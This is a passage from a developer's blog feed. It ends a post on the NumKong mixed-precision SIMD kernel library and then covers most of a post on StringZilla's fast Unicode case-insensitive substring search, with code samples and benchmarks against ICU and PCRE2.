block-scaled formats are one of them.\nBlock scaling couples elements through shared exponents — a group of 32 values shares one scale factor, so each element\u0026rsquo;s precision depends on its neighbors. That makes sense inside a model\u0026rsquo;s forward pass where training adapts to the structural bias. It does not make sense inside a dot product primitive where the caller expects every element to be self-contained.\nNumKong\u0026rsquo;s stance: dequantize first, then process. If your data arrives in MXFP4 format, unpack to 8-bit mini-floats without block scaling before calling NumKong. The conversion cost is trivial compared to the multiply-accumulate, and you preserve the invariant that dot(a, b) treats every element independently.\nReproduce These Numbers To get a quick taste, run a 2048³ BFloat16 batched dot product on your machine and see the throughput:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 uv init nk-demo \u0026amp;\u0026amp; cd nk-demo \u0026amp;\u0026amp; uv add numkong numpy uv run python -c \u0026#34; import numpy as np, numkong as nk, time height, width, depth = 2048, 2048, 2048 a = np.random.randn(height, depth).astype(nk.bfloat16) b = np.random.randn(width, depth).astype(nk.bfloat16) packed = nk.dots_pack(b) t = time.perf_counter() scores = nk.dots_packed(a, packed) elapsed = time.perf_counter() - t gsos = height * width / elapsed / 1e9 print(f\u0026#39;{height}x{width}x{depth} f16 GEMM: {gsos:.1f} gso/s in {elapsed:.4f}s\u0026#39;) \u0026#34; You can try replacing the nk.bfloat16 casts with some more obscure mini-floats or jump to NumWars benchmarking suite to see how other operations compare against NumPy, SciPy, PyTorch, Rust ndarray, faer, geo, and others on the same workloads.\n","permalink":"https://ashvardanian.com/posts/numkong/","summary":"\u003cp\u003e\u003ca href=\"https://github.com/ashvardanian/NumKong\"\u003e\u003cimg alt=\"NumKong Banner\" loading=\"lazy\" src=\"/numkong/NumKong-v7.jpg\"\u003e\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003eI\u0026rsquo;m killing my \u003ca href=\"/posts/simsimd-faster-scipy/\"\u003eSimSIMD\u003c/a\u003e project and re-launching under a new name — NumKong — \u003ca href=\"https://github.com/ashvardanian/StringZilla\"\u003eStringZilla\u003c/a\u003e\u0026rsquo;s big brother.\nAround 2'000 SIMD kernels for mixed precision numerics, spread across 200'000 lines of code \u0026amp; docstrings, for 7 programming languages.\nOne of the larger collections online — comparable to \u003ca href=\"https://github.com/OpenMathLib/OpenBLAS\"\u003eOpenBLAS\u003c/a\u003e, the default NumPy BLAS (Basic Linear Algebra Subprograms) backend (\u003ca href=\"#tensors-in-c\"\u003edetailed comparison below\u003c/a\u003e).\u003c/p\u003e\n\u003cp\u003eHighlights:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eRISC-V Vector Extensions, Intel AMX \u0026amp; Arm SME Tiles\u003c/li\u003e\n\u003cli\u003eFrom Vectors to Matrices and Higher-rank Tensors\u003c/li\u003e\n\u003cli\u003eFrom BFloat16 and Float16 to Float6 — E3M2 \u0026amp; E2M3 on any CPU\u003c/li\u003e\n\u003cli\u003eNative Int4 \u0026amp; UInt4 Dot Products via Nibble Algebra\u003c/li\u003e\n\u003cli\u003eNeumaier \u0026amp; Dot2 for higher-than-BLAS precision\u003c/li\u003e\n\u003cli\u003eOzaki Scheme for Float64 GEMMs via Float32 Tile Hardware\u003c/li\u003e\n\u003cli\u003eHaversine \u0026amp; Vincenty for Geospatial — 5'300x faster than GeoPy\u003c/li\u003e\n\u003cli\u003eKabsch \u0026amp; Umeyama Mesh Alignment — 200x faster than BioPython\u003c/li\u003e\n\u003cli\u003eFused MaxSim for ColBERT — GPU-Free Late Interaction Scoring\u003c/li\u003e\n\u003cli\u003eWebAssembly SIMD backend for AI Sandboxes, Edge, \u0026amp; Browsers\u003c/li\u003e\n\u003cli\u003eC 99, C++ 23, Rust, Swift, JavaScript, GoLang, \u0026amp; Python 🐍\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eAll of that tested against in-house 118-bit floating point numbers and heavily profiled for both numerical stability and speed.\nHere\u0026rsquo;s a preview of performance numbers for the most familiar part — GEMM (General Matrix Multiply)-like batched dot products:\u003c/p\u003e","title":"NumKong: 2'000 Mixed Precision Kernels For All 🦍"},{"content":"This article is about the ugliest, but potentially most useful piece of open-source software I\u0026rsquo;ve written this year. It\u0026rsquo;s messy, because UTF-8 is messy. The world\u0026rsquo;s most widely used text encoding standard was introduced in 1989. It now covers more than 1 million characters across the majority of used writing systems, so it\u0026rsquo;s not exactly trivial to work with.\nThe example above contains multiple confusable characters: German Eszett variants \u0026#39;ß\u0026#39;U\u0026#43;00DF0x C3 9F and \u0026#39;ẞ\u0026#39;U\u0026#43;1E9E0x E1 BA 9E , the Kelvin sign \u0026#39;K\u0026#39;U\u0026#43;212A0x E2 84 AA and ASCII \u0026#39;k\u0026#39;U\u0026#43;006B0x 6B , and Greek mu \u0026#39;μ\u0026#39;U\u0026#43;03BC0x CE BC vs the micro sign \u0026#39;µ\u0026#39;U\u0026#43;00B50x C2 B5 . Try guessing which is which and how they are encoded in UTF-8!\nThat\u0026rsquo;s why ICU exists - pretty much the only comprehensive open-source library for Unicode and UTF-8 handling, powering Chrome/Chromium and probably every OS out there. It\u0026rsquo;s feature-rich, battle-tested, and freaking slow. Now StringZilla makes some of the most common operations much faster, leveraging AVX-512 on Intel and AMD CPUs!\nNamely:\nTokenizing text into lines or whitespace-separated tokens, handling 25 different whitespace characters and 9 newline variants; available since v4.3; 10× faster than alternatives. Case-folding text into lowercase form, handling all 1400+ rules and edge cases of Unicode 17 locale-agnostic expansions, available since v4.4; 10× faster than alternatives. Case-insensitive substring search bypassing case-folding for both European and Asian languages, available since v4.5; 20–150× faster than alternatives. Or 20,000× faster, if we compare to PCRE2 RegEx engine with case-insensitive flag! I\u0026rsquo;d like to stress that this is not just about \u0026ldquo;throughput\u0026rdquo; or \u0026ldquo;speed\u0026rdquo; - it\u0026rsquo;s about \u0026ldquo;correctness\u0026rdquo; as well! Some experimental projects try applying vectorization to broader text processing tasks, but the vast majority are limited to ASCII or ignore all the edge cases of Unicode to achieve speedups. StringZilla, however, is tested against a synthetic suite generated on the fly from the most recent Unicode specs, so when the 18.0 of the standard comes out, updating the library to support it should be trivial. It\u0026rsquo;s also tested against ICU on real-world data to keep it correct in typical cases. Let\u0026rsquo;s dive into the details of how this was achieved.\nUTF-8 Primers Today, almost all of the Internet is UTF-8. Its share grew from 50% in 2010 to 98% in 2024. The remaining ~2% is mostly legacy content in:\n\u0026ldquo;ISO-8859-1\u0026rdquo; or \u0026ldquo;Latin-1\u0026rdquo; — older Western European sites \u0026ldquo;Windows-1252\u0026rdquo; — legacy Windows encoding \u0026ldquo;GB2312\u0026rdquo; and \u0026ldquo;GBK\u0026rdquo; — older Chinese sites \u0026ldquo;Shift_JIS\u0026rdquo; — older Japanese sites So what does it look like and how it improves on previous encodings?\nIf you often face those weird alternative encodings, just pull Daniel Lemire\u0026rsquo;s and Wojciech Muła\u0026rsquo;s simdutf.\nUnicode Runes vs UTF-8 Encoding Most trained developers know that UTF-8 is a variable-length encoding for Unicode codepoints. It means that different characters may take different numbers of bytes to represent. The first 128 codepoints (U+0000–U+007F) are represented as single bytes, identical to ASCII. Codepoints from U+0080–U+07FF take 2 bytes, from U+0800–U+FFFF take 3 bytes, and from U+10000–U+10FFFF take 4 bytes. Borrowing a table from Wikipedia, here\u0026rsquo;s how the encoding works:\nCodepoint Range Byte 1 Byte 2 Byte 3 Byte 4 U+0000–U+007F 0xxxxxxx U+0080–U+07FF 110xxxxx 10xxxxxx U+0800–U+FFFF 1110xxxx 10xxxxxx 10xxxxxx U+10000–U+10FFFF 11110xxx 10xxxxxx 10xxxxxx 10xxxxxx You typically parse it left-to-right, unpacking codepoints as you go. With 32-bit integers you can safely represent any Unicode codepoint, but as you may notice, not all 32-bit integers are valid codepoints. Even in the U+10000–U+10FFFF range, only ~2.1 million codepoints are valid, while the rest are reserved. In a C99 implementation, a verification-free toy parser may look like this:\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 typedef uint32_t codepoint_t; void codepoint_parse(char const *text, size_t text_length, codepoint_t *codepoint, size_t codepoint_length) { size_t i = 0, j = 0; while (i \u0026lt; text_length \u0026amp;\u0026amp; j \u0026lt; codepoint_length) { uint8_t byte1 = text[i]; if (byte1 \u0026lt; 0x80) { codepoint[j++] = byte1; i += 1; } else if ((byte1 \u0026amp; 0xE0) == 0xC0) { uint8_t byte2 = text[i + 1]; codepoint[j++] = ((byte1 \u0026amp; 0x1F) \u0026lt;\u0026lt; 6) | (byte2 \u0026amp; 0x3F); i += 2; } else if ((byte1 \u0026amp; 0xF0) == 0xE0) { uint8_t byte2 = text[i + 1], byte3 = text[i + 2]; codepoint[j++] = ((byte1 \u0026amp; 0x0F) \u0026lt;\u0026lt; 12) | ((byte2 \u0026amp; 0x3F) \u0026lt;\u0026lt; 6) | (byte3 \u0026amp; 0x3F); i += 3; } else if ((byte1 \u0026amp; 0xF8) == 0xF0) { uint8_t byte2 = text[i + 1], byte3 = text[i + 2], byte4 = text[i + 3]; codepoint[j++] = ((byte1 \u0026amp; 0x07) \u0026lt;\u0026lt; 18) | ((byte2 \u0026amp; 0x3F) \u0026lt;\u0026lt; 12) | ((byte3 \u0026amp; 0x3F) \u0026lt;\u0026lt; 6) | (byte4 \u0026amp; 0x3F); i += 4; } else { // Invalid UTF-8 byte sequence i += 1; // Skip invalid byte } } } As one may notice, there is some extra effort to compact the bits from multiple bytes into a single codepoint. It\u0026rsquo;s a modest amount of logic for modern CPUs, but the sequential dependency of processing $i+1$ byte after $i$ byte makes vectorization hard for modern CPUs. But not impossible!\nUnicode in Modern Programming Languages I\u0026rsquo;d argue, most developers don\u0026rsquo;t regularly need to parse Unicode codepoints from UTF-8 strings by hand. A string is the first-class citizen of practically every modern programming language. In Rust, for example, the char type represents a Unicode scalar value, and the standard library provides methods for iterating over characters in a string, like so:\n1 2 3 4 let text = \u0026#34;Hello, 世界!\u0026#34;; for ch in text.chars() { println!(\u0026#34;{}\u0026#34;, ch); } In other languages, the situation is more complex, as some have previously standardized smaller representations for \u0026ldquo;characters\u0026rdquo;. A common thread at some point was to use fixed-width 16-bit \u0026ldquo;characters\u0026rdquo;, which can represent the Basic Multilingual Plane (BMP) of Unicode, but not the entire range of codepoints. And when the need for full Unicode support arose, those languages had to introduce \u0026ldquo;surrogate pairs\u0026rdquo; to represent codepoints outside the BMP.\nUTF-8 encoding also has a similar concept to surrogate pairs - \u0026ldquo;overlong encodings\u0026rdquo;. For example, the ASCII character \u0026#39;A\u0026#39;U\u0026#43;00410x 41 can be represented in UTF-8 as a single byte 0x 41, but it can also be represented using two bytes 0x C1 81, three bytes 0x E0 81 81, or four bytes 0x F0 81 81 81. Those overlong encodings are invalid according to the UTF-8 standard and should be rejected by any compliant UTF-8 parser.\nMoreover, UTF-8 has Emoji sequences that combine multiple codepoints into a single visual character via \u0026#34;ZWJ\u0026#34;U\u0026#43;200D0x E2 80 8D zero-width joiner. For example, the family emoji 👨‍👩‍👧‍👦 is a combination of 4 emojis: \u0026#39;👨\u0026#39;U\u0026#43;1F4680x F0 9F 91 A8 , \u0026#39;👩\u0026#39;U\u0026#43;1F4690x F0 9F 91 A9 , \u0026#39;👧\u0026#39;U\u0026#43;1F4670x F0 9F 91 A7 , and \u0026#39;👦\u0026#39;U\u0026#43;1F4660x F0 9F 91 A6 . Similarly, in Bengali script, the character \u0026#34;ক্ষ\u0026#34;U\u0026#43;0995 U\u0026#43;09CD U\u0026#43;09B70x E0 A6 95 E0 A7 8D E0 A6 B7 (kṣa) is a combination of two consonants \u0026#39;ক\u0026#39;U\u0026#43;09950x E0 A6 95 (ka) and \u0026#39;ষ\u0026#39;U\u0026#43;09B70x E0 A6 B7 (ṣa) joined by a \u0026#34;Virama\u0026#34;U\u0026#43;09CD0x E0 A7 8D , which suppresses the inherent vowel sound of the first consonant.\nThat\u0026rsquo;s how we ended up with a mess like this:\nRust: String is guaranteed valid UTF-8. Indexed by byte, not char. Go: string is UTF-8 bytes. rune type for code points. Swift: Native UTF-8 (since Swift 5). Exposes grapheme clusters. Java: UTF-16. Compressed to Latin-1 (1 byte/char) since Java 9. C#/.NET: UTF-16. Always 2 bytes minimum (surrogate pairs for non-BMP). JavaScript: UTF-16. \u0026quot;😀\u0026quot;.length === 2 (surrogate pair). Python 3: Latin-1 / UCS-2 / UCS-4. Smallest fitting encoding. C/C++: char* is bytes. wchar_t is platform-dependent. For Python, in practice, it means that strings will massively explode in size when you add non-Latin-1 characters to them. So if you are working on some web agents scraping HTML pages and wondering how to reduce memory consumption of your beautifulsoup4 objects, consider switching to UTF-8 encoded bytes instead of str. If you only need to validate UTF-8 or convert it to UTF-16/32, Daniel Lemire\u0026rsquo;s SimdUTF is the way to go. But if you need to search and manipulate it - read on:\n1 2 3 import sys print(f\u0026#39;Latin-1: {sys.getsizeof(\u0026#34;hello\u0026#34;)} bytes\u0026#39;) # prints \u0026#34;46 bytes\u0026#34; print(f\u0026#39;UCS-4: {sys.getsizeof(\u0026#34;hello😀\u0026#34;)} bytes\u0026#39;) # prints \u0026#34;84 bytes\u0026#34;... extra 1 char = extra 38 bytes Python not only knows how to deal with Unicode codepoints natively, but it also has a built-in unicodedata module that provides access to the Unicode Character Database (UCD). It provides a subset of the ICU functionality, and where more is needed - there\u0026rsquo;s a PyICU Python binding one can pull from PyPi.\nFeature Standard PyICU StringZilla Character names and categories ✓ ✓ ✗ Canonical and compatibility decompositions ✓ ✓ ✗ Locale-agnostic case mapping ✓ ✓ ✓ Word, sentence, and line breaking ✗ ✓ ✓ Case-insensitive search ✗ ✓ ✓ Locale-aware case mapping and collation (sorting) ✗ ✓ ✗ Date, time, and number formatting ✗ ✓ ✗ Transliteration ✗ ✓ ✗ StringZilla is less feature-rich than both. At least today. But it\u0026rsquo;s a lot faster for the most common operations. This time we\u0026rsquo;ll focus on just one of them - case-insensitive substring search.\nIdeation \u0026amp; Challenges in Substring Search Folding Expansions Case-folding is the process of converting text to a form that allows for case-insensitive comparisons. It\u0026rsquo;s more complex than just converting uppercase letters to lowercase, especially in Unicode, where some characters have multiple case variants or expand into multiple characters when case-folded. For example:\nGerman: \u0026#39;ß\u0026#39;U\u0026#43;00DF0x C3 9F and \u0026#39;ẞ\u0026#39;U\u0026#43;1E9E0x E1 BA 9E both case-fold into \u0026#34;ss\u0026#34;U\u0026#43;0073 U\u0026#43;00730x 73 73 . Turkish: \u0026#39;İ\u0026#39;U\u0026#43;01300x C4 B0 case-folds into \u0026#34;i̇\u0026#34;U\u0026#43;0069 U\u0026#43;03070x 69 CC 87 - that\u0026rsquo;s a lowercase \u0026#39;i\u0026#39;U\u0026#43;00690x 69 plus a combining dot. Ligatures: \u0026#39;ffi\u0026#39;U\u0026#43;FB030x EF AC 83 case-folds into \u0026#34;ffi\u0026#34;U\u0026#43;0066 U\u0026#43;0066 U\u0026#43;00690x 66 66 69 , so the original glyph contains matches for \u0026#39;f\u0026#39;U\u0026#43;00660x 66 , \u0026#34;ff\u0026#34;U\u0026#43;0066 U\u0026#43;00660x 66 66 , \u0026#34;fi\u0026#34;U\u0026#43;0066 U\u0026#43;00690x 66 69 , and \u0026#34;ffi\u0026#34;U\u0026#43;0066 U\u0026#43;0066 U\u0026#43;00690x 66 66 69 queries. Folding Invariants Unicode 17.0 defines more than 1000 locale-agnostic mappings in CaseFolding.txt, with expansions up to 3 codepoints. The obvious approach to case-insensitive search is to case-fold everything and then run memmem. It\u0026rsquo;s also the slowest possible approach, and it breaks match offsets unless you keep an extra mapping layer.\nStringZilla takes a different route: it tries very hard to find a fold-safe window in the needle - a slice that:\nCan be case-folded into ≤16 bytes. Doesn\u0026rsquo;t trigger surprises for a chosen SIMD path: no shrinking expansions, no ligatures, no folding targets like Kelvin sign. Has enough byte diversity to be a good SIMD filter. To do that, we split Unicode into a handful of script-ish buckets and give each its own SIMD kernel and its own alarm rules:\nASCII invariants (00–7F): the cheapest kernel; most English letters, digits, and punctuation. Western European (mostly 2-byte UTF-8): Latin-1 Supplement + Latin Extended-A, covering German/French/Spanish/Portuguese. Central European (mostly 2-byte UTF-8): Latin Extended-B and friends, covering Polish/Czech/Hungarian/Romanian. Cyrillic (D0/D1 lead bytes): Russian/Ukrainian/Bulgarian and other Slavic languages. Greek (CE/CF lead bytes): Greek and Coptic. Armenian (D4 lead byte): Armenian. Vietnamese (many 3-byte sequences): Latin extensions with diacritics and tone marks. Most of those kernels are designed around 1- and 2-byte UTF-8 sequences, which already cover the majority of European languages. Vietnamese is the odd one out: it pulls in a lot of 3-byte Latin extensions with diacritics.\nAll of them not only differ in the folding kernels used on the hot path, but also in their alarm logic that triggers a slow-path verifier. Those alarms exist for two reasons:\nSome characters fold into targets you really don\u0026rsquo;t want to \u0026ldquo;just allow\u0026rdquo; in an ASCII fast path. Example: \u0026#39;K\u0026#39;U\u0026#43;212A0x E2 84 AA folds into \u0026#39;k\u0026#39;U\u0026#43;006B0x 6B . Some folds shrink or expand in ways that break \u0026ldquo;same length, same offsets\u0026rdquo; assumptions. Example: \u0026#39;ſ\u0026#39;U\u0026#43;017F0x C5 BF folds into \u0026#39;s\u0026#39;U\u0026#43;00730x 73 . This is why some ASCII letters are \u0026ldquo;unsafe\u0026rdquo; depending on where they appear. Not because they are rare, but because Unicode expansions can generate them. Here are a few that matter in practice:\n\u0026ldquo;k\u0026rdquo; is a folding target (Kelvin sign), so you can\u0026rsquo;t just treat it as a boring ASCII byte. \u0026ldquo;s\u0026rdquo; is a folding target (long s), and \u0026#39;ß\u0026#39;U\u0026#43;00DF0x C3 9F folds into \u0026#34;ss\u0026#34;U\u0026#43;0073 U\u0026#43;00730x 73 73 . \u0026ldquo;f\u0026rdquo; and \u0026ldquo;i\u0026rdquo; participate in ligatures like \u0026#39;fi\u0026#39;U\u0026#43;FB010x EF AC 81 → \u0026#34;fi\u0026#34;U\u0026#43;0066 U\u0026#43;00690x 66 69 . If you\u0026rsquo;d like to stare at the full ban logic, grep for sz_utf8_case_rune_safety_profile_ in the source. It\u0026rsquo;s not poetry, but it\u0026rsquo;s deterministic.\nSafe Window Selection Most needles aren\u0026rsquo;t fully \u0026ldquo;safe\u0026rdquo;. So instead of folding the entire needle (slow, offset-hostile), we extract a window that is safe to SIMD-scan and use it as a pivot. The needle splits into three pieces:\nneedle (bytes): [ head ][ safe window ][ tail ] needle (folded): [ .... ][ \u0026lt;=16 bytes ][ .... ] SIMD scans only: [ \u0026lt;=16 bytes ] Then every SIMD hit goes through a verifier that checks the head and tail around it. The \u0026ldquo;why\u0026rdquo; is easiest to see on a tiny example. The needle \u0026quot;faßade\u0026quot; contains \u0026#39;ß\u0026#39;U\u0026#43;00DF0x C3 9F , which is toxic for an ASCII fast path, but it also contains \u0026quot;ade\u0026quot;:\nneedle chars: f a ß a d e needle bytes: 66 61 C3 9F 61 64 65 folded bytes: 66 61 73 73 61 64 65 (ß → ss) safe window: 61 64 65 (\u0026#34;ade\u0026#34;) So we SIMD-search \u0026quot;ade\u0026quot; and only then do the extra legwork for the \u0026quot;faß\u0026quot; prefix (and possibly tail). To pick optimal safe windows, we follow this algorithm:\nWalk possible start positions in the needle, stepping by UTF-8 characters - never mid-character. For each start, fold forward and build per-script windows until you hit 16 bytes or an alarm. Score candidates by byte diversity to minimize false positives on the hot SIMD path. Pick the cheapest kernel that is both safe and applicable. If the same window is safe for multiple kernels (e.g., pure ASCII), we pick the cheapest one so we don\u0026rsquo;t pay the Vietnamese folding tax for \u0026quot;xyz\u0026quot;.\nWhy We Probe Last Bytes This ties back to the UTF-8 primer: the continuation bytes (10xxxxxx) carry 6 payload bits each, while the leading bytes mostly encode the range. In many scripts, that means the first byte is boring and the last byte carries the entropy. Take Cyrillic as an example:\nА Б В ... (Cyrillic alphabet) D0 90, D0 91, D0 92 ... (leading byte repeats) ^^ ^^ ^^ (last byte differentiates) If you probe the last bytes of UTF-8 characters, you get a much better SIMD filter: fewer false positives, less verifier work. So for windows with ≥4 UTF-8 characters we aim probes at the last byte of the 2nd and 3rd characters, plus the first and last bytes of the whole window. For very short windows probes overlap - that\u0026rsquo;s expected.\nSerial Fallbacks: Danger Zones, Rings, and Hashes Not every platform supports SIMD, let alone AVX-512. Some needles are too short, some scripts are too annoying, and sometimes an alarm goes off in the middle of a hot loop. StringZilla uses a few serial fallbacks that are still Unicode-correct:\nFor needles that fold into 1/2/3 runes, we use a hash-free scan over the folded rune stream. For longer needles, we use a Rabin-Karp style rolling hash over folded runes with a small ring buffer, and verify on collisions. For \u0026ldquo;danger zones\u0026rdquo; detected by SIMD alarms, we scan for a cheap 1-rune candidate and validate the full match with the same head/tail verifier. That\u0026rsquo;s pretty much the core idea of StringZilla v4.5. Let\u0026rsquo;s look at the numbers.\nPerformance Benchmarks The following numbers are obtained on the Leipzig Wikipedia corpora, providing 100 MB+ of real-world text data for each language. The machine used was an AWS instance with AMD Zen 5 CPUs. For context, only a subset of those scripts are cased (have upper/lowercase distinctions):\nLatin basic range covers 🇬🇧 English, 🇮🇹 Italian, 🇳🇱 Dutch. Latin extended range covers 🇩🇪 German, 🇫🇷 French, 🇪🇸 Spanish, 🇵🇹 Portuguese, 🇵🇱 Polish, 🇨🇿 Czech, 🇹🇷 Turkish, 🇻🇳 Vietnamese with various Accents, Háčky, and Tones. Cyrillic covers 🇷🇺 Russian, 🇺🇦 Ukrainian. Distinct alphabets cover 🇬🇷 Greek and 🇦🇲 Armenian. Other languages/scripts like 🇮🇱 Hebrew, 🇸🇦 Arabic, 🇮🇷 Persian, 🇧🇩 Bengali, 🇮🇳 Tamil, 🇯🇵 Japanese, 🇰🇷 Korean, and 🇨🇳 Chinese are caseless, and are included to demonstrate StringZilla\u0026rsquo;s ability to scan through arbitrary text without losing performance.\nAVX-512 Against Serial StringZilla Before comparing to other libraries, StringZilla first implements serial baselines for all APIs it provides for CPU architectures that don\u0026rsquo;t support some of our favorite fancy SIMD instructions.\nDataset Language Base, GB/s SIMD, GB/s SIMD Gains Dataset Language Base, GB/s SIMD, GB/s SIMD Gains 🇬🇧 Eng 1.15 10.93 11.9× 🇮🇹 Ita 0.81 10.63 14.7× 🇳🇱 Dut 0.85 10.91 13.3× 🇩🇪 Ger 0.74 9.36 13.6× 🇫🇷 Fra 0.73 8.37 15.1× 🇪🇸 Spa 0.99 8.86 10.8× 🇵🇹 Por 0.77 9.58 14.3× 🇵🇱 Pol 0.62 7.51 14.2× 🇨🇿 Cze 0.43 6.10 17.1× 🇻🇳 Vie 0.41 6.38 17.9× 🇷🇺 Rus 0.54 3.41 10.6× 🇺🇦 Ukr 0.56 4.03 10.6× 🇬🇷 Gre 0.31 7.04 22.5× 🇦🇲 Arm 0.34 4.18 17.5× 🇹🇷 Tur 0.81 6.78 11.7× 🇬🇪 Geo ¹ 0.65 10.56 24.2× 🇮🇱 Heb ⁰ 0.65 9.52 13.7× 🇸🇦 Ara ⁰ 1.17 9.85 9.8× 🇮🇷 Per ⁰ 0.41 11.83 43.1× 🇨🇳 Chi ⁰ 0.43 20.07 103.0× 🇧🇩 Ben ⁰ 0.72 11.03 25.9× 🇮🇳 Tam ⁰ 1.09 11.70 21.0× 🇯🇵 Jap ⁰ 0.52 11.56 26.7× 🇰🇷 Kor ⁰ 2.98 11.58 3.5× ⁰ Those speeds for caseless benchmarks are mostly dependent on the data location. Not only are those scripts caseless, but furthermore - many don\u0026rsquo;t use whitespace to mark word boundaries, so the benchmark is often running on much longer input queries than a single word. Expect over 10 GB/s in most cases and over 30 GB/s for cached data. ¹ Georgian is effectively caseless in most modern text, but Unicode case folding still touches it via historical mappings, so it currently can\u0026rsquo;t be accelerated with the ASCII-agnostic path. In the future it will require a custom script.\nOur target is to reach 5 GB/s - the typical upper bound of a single NVMe SSD read speed or the approximate RAM throughput per core of modern many-core CPUs. That target has been met for almost all languages, except Russian, Ukrainian, and Armenian. Still, those already achieve 10–20× speedups over the serial baseline and will be improved further in future releases.\nStringZilla Against ICU and MemChr The Rust icu crate provides case-folding functionality, but not case-insensitive substring search. Note that this crate is actually ICU4X—a modern reimplementation of ICU in Rust by developers from Mozilla, Google, and the original ICU4C project—rather than bindings to ICU4C. So we do what most programmers do as a shortcut for such functionality - we case-fold the haystack and the needle, and then search one inside the other. To fold we use icu::CaseMapper::fold_string and to search - the traditional memchr::memmem::Finder. Those will yield different match offsets, but the overall number of matches will be the same - good enough for a benchmark.\nDataset Language ICU, GB/s SZ, GB/s SZ Gains Dataset Language ICU, GB/s SZ, GB/s SZ Gains 🇬🇧 Eng 0.08 12.79 152.0× 🇮🇹 Ita 0.08 12.99 153.0× 🇳🇱 Dut 0.09 12.61 142.0× 🇩🇪 Ger 0.08 10.67 126.0× 🇫🇷 Fra 0.09 10.77 123.0× 🇪🇸 Spa 0.09 11.62 132.0× 🇵🇹 Por 0.09 10.72 125.0× 🇵🇱 Pol 0.09 10.50 122.0× 🇨🇿 Cze 0.09 7.41 82.0× 🇻🇳 Vie 0.11 4.25 40.0× 🇷🇺 Rus 0.14 7.12 50.0× 🇺🇦 Ukr 0.14 8.88 63.0× 🇬🇷 Gre 0.13 2.57 20.0× 🇦🇲 Arm 0.19 0.98 5.3× 🇹🇷 Tur 0.09 8.18 96.0× 🇬🇪 Geo ¹ 0.19 1.03 5.5× 🇮🇱 Heb ⁰ 0.19 34.54 181.0× 🇸🇦 Ara ⁰ 0.20 38.55 196.0× 🇮🇷 Per ⁰ 0.19 26.22 139.0× 🇨🇳 Chi ⁰ 0.24 25.65 106.0× 🇧🇩 Ben ⁰ 0.30 28.20 95.0× 🇮🇳 Tam ⁰ 0.27 29.53 110.0× 🇯🇵 Jap ⁰ 0.22 21.71 101.0× 🇰🇷 Kor ⁰ 0.23 35.10 150.0× The StringZilla numbers in this table are obtained from separate runs of the StringWars Rust suite, different from the StringZilla\u0026rsquo;s own C++ benchmarks that compare internal backends against each other - so the numbers may slightly differ from the previous table.\nDespite the fact that raw memmem throughput can exceed 10 GB/s on already-folded text, the fold \u0026amp; scan pipeline is typically dominated by case folding, and sits around 100-300 MB/s. A typical throughput of StringZilla\u0026rsquo;s fold \u0026amp; scan pipeline is between 5 and 15 GB/s, suggesting a 50× improvement.\nStringZilla Against PCRE2 PCRE2 is the workhorse of the digital age. It\u0026rsquo;s by far the most popular RegEx engine ever written. It\u0026rsquo;s not even remotely as fast as Geoff Langdale\u0026rsquo;s HyperScan or Andrew Gallant\u0026rsquo;s Rust RegEx engine, but it\u0026rsquo;s one of the few that support full Unicode case-insensitive matching. RegEx is clearly a lot harder than substring search, but in the absence of better reference points, I\u0026rsquo;m also sharing the numbers one can get with PCRE2, enabling its JIT engine to precompile the automata for every needle, and excluding that time from benchmarks.\nDataset Language PCRE2, GB/s SZ, GB/s SZ Gains Dataset Language PCRE2, GB/s SZ, GB/s SZ Gains 🇬🇧 Eng 1.42 12.79 9.0× 🇮🇹 Ita 0.26 12.99 51.0× 🇳🇱 Dut 0.37 12.61 34.0× 🇩🇪 Ger 1.24 10.67 8.6× 🇫🇷 Fra 0.13 10.77 80.0× 🇪🇸 Spa 0.98 11.62 12.0× 🇵🇹 Por 0.64 10.72 17.0× 🇵🇱 Pol 0.22 10.50 48.0× 🇨🇿 Cze 0.28 7.41 27.0× 🇻🇳 Vie 0.03 4.25 134.0× 🇷🇺 Rus 0.25 7.12 28.0× 🇺🇦 Ukr 0.21 8.88 42.0× 🇬🇷 Gre 0.37 2.57 6.9× 🇦🇲 Arm 0.42 0.98 2.3× 🇹🇷 Tur 0.44 8.18 19.0× 🇬🇪 Geo ¹ 0.33 1.03 3.1× 🇮🇱 Heb ⁰ 0.25 34.54 137.0× 🇸🇦 Ara ⁰ 0.30 38.55 128.0× 🇮🇷 Per ⁰ 0.19 26.22 141.0× 🇨🇳 Chi ⁰ 0.94 25.65 27.0× 🇧🇩 Ben ⁰ 0.73 28.20 39.0× 🇮🇳 Tam ⁰ 0.26 29.53 114.0× 🇯🇵 Jap ⁰ 0.89 21.71 24.0× 🇰🇷 Kor ⁰ 0.65 35.10 54.0× The StringZilla numbers in this table are exactly the same as in the previous table, only the baseline has changed from ICU to PCRE2.\nIt\u0026rsquo;s clearly not an apples-to-apples comparison, but if you are writing scripts with lots of case-insensitive matching, be informed that a better option exists.\nFunny enough, in 2019, 4 years into building Unum, before moving to Armenia, I\u0026rsquo;ve spent several days working on a RegEx engine leveraging similar optimizations to the ones described here, but still lost to HyperScan at the time. Six years have passed and just like every other geek passionate about software - there is always one more project to finalize before returning to that one!\nStringZilla Against ICU Built-in Search I\u0026rsquo;ve just told you that ICU doesn\u0026rsquo;t provide case-insensitive substring search two paragraphs ago. 100× speedups don\u0026rsquo;t exist. This article is clearly a scam 😂\nICU has bindings for various languages, though the implementations differ. Python\u0026rsquo;s PyICU wraps the original ICU4C. Unlike the Rust crate, the Python binding does expose substring search functionality:\n1 2 3 4 5 6 7 8 9 import icu collator = icu.Collator.createInstance(icu.Locale.getRoot()) collator.setStrength(icu.Collator.SECONDARY) # Case-insensitive searcher = icu.StringSearch(needle, haystack, collator) last_offset, count_matches = searcher.nextMatch(), 0 while last_offset != -1: last_offset, count_matches = searcher.nextMatch(), count_matches + 1 Luckily, StringWars benchmarks have Python counterparts, and StringZilla also has pure CPython METH_FASTCALL bindings (some of the thinest in the industry, of course). Moreover, Python has a separate RegEx library written by Matthew Barnett in C. It implements full Unicode casefolding, correctly handles the German example in the beginning of this article, and is quite easy to use:\n1 2 3 4 import regex pattern = regex.compile(regex.escape(needle), regex.IGNORECASE | regex.FULLCASE) count_matches = sum(1 for _ in pattern.finditer(haystack)) This might be an interesting comparison point, assuming its the same workload for the same datasets, but a different language.\nDataset Language ICU, GB/s RegEx, GB/s SZ, GB/s Dataset Language ICU, GB/s RegEx, GB/s SZ, GB/s 🇬🇧 Eng 0.06 0.77 5.61 🇮🇹 